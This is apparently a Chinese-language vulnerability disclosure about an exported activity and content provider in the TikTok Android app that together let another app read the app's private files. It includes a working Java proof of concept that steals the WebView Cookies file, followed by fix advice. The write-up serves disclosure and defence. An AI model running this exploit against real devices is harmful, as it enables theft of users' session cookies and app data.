Appearance
Tiktok目前最流行的App,其公司也投入了大量的人力物力来保证App的安全,但是仍然存在严重的漏洞. 今天说的是一个可以clone整个App的漏洞. 和 Android中WebView的跨域漏洞分析和应用被克隆问题情景还原(免Root获取应用沙盒数据)效果是一样的.
漏洞描述
首先
com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
是导出的Activity,可以接受用户指定的文件并将其设置为墙纸. 用到的关键数据结构是com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean
,墙纸的路径是live_wall_paper
. 这个值被保存在了LiveWallPaperManager中. 然后是另一个导出的Provider WallPaperDataProvider
,可以通过content://com.zhiliaoapp.musically.wallpapercaller/video_path
来读取当前的墙纸.
至此一条完整的攻击链路已经建立,攻击者首先设置App内部的任意文件为墙纸,然后就可以通过 WallPaperDataProvider
来读取它. 通过不停的遍历文件,就可以达到应用clone的目的.
poc
java
String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/Default/Cookies";
LiveWallPaperBean bean = new LiveWallPaperBean();
bean.height = 100;
bean.width = 100;
bean.id = "1337";
bean.source = theft;
bean.thumbnailPath = theft;
bean.videoPath = theft;
Intent intent = new Intent();
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
intent.putExtra("live_wall_paper", bean);
startActivity(intent);
Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
new Handler().postDelayed(() -> {
try {
Log.d("evil", IOUtils.toString(getContentResolver().openInputStream(uri)));
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}, 15000);
如何修复以及防范呢?
这个修复很直观,我们只要限定设定的墙纸必须是有效的图片即可, 或者干脆禁止WallPaperDataProvider,不能再取回墙纸.
这种类型的漏洞其实是比较难以防范,更像是逻辑漏洞. 但是如果我们坚持了一个基本原则,凡是外部用户可以输入的数据都不信任,都要校验,那么这种漏洞其实也是可以幸免的,至少危害不会那么大.这里API的目的就是设置墙纸,那么就应该严格限定只能是墙纸.
- 墙纸必须是有效的图片文件
- 墙纸来源不能是App自身的文件
就算是只是限定了条件1,那么危害性也会大大降低.
参考文档: Oversecured detects dangerous vulnerabilities in the TikTok Android app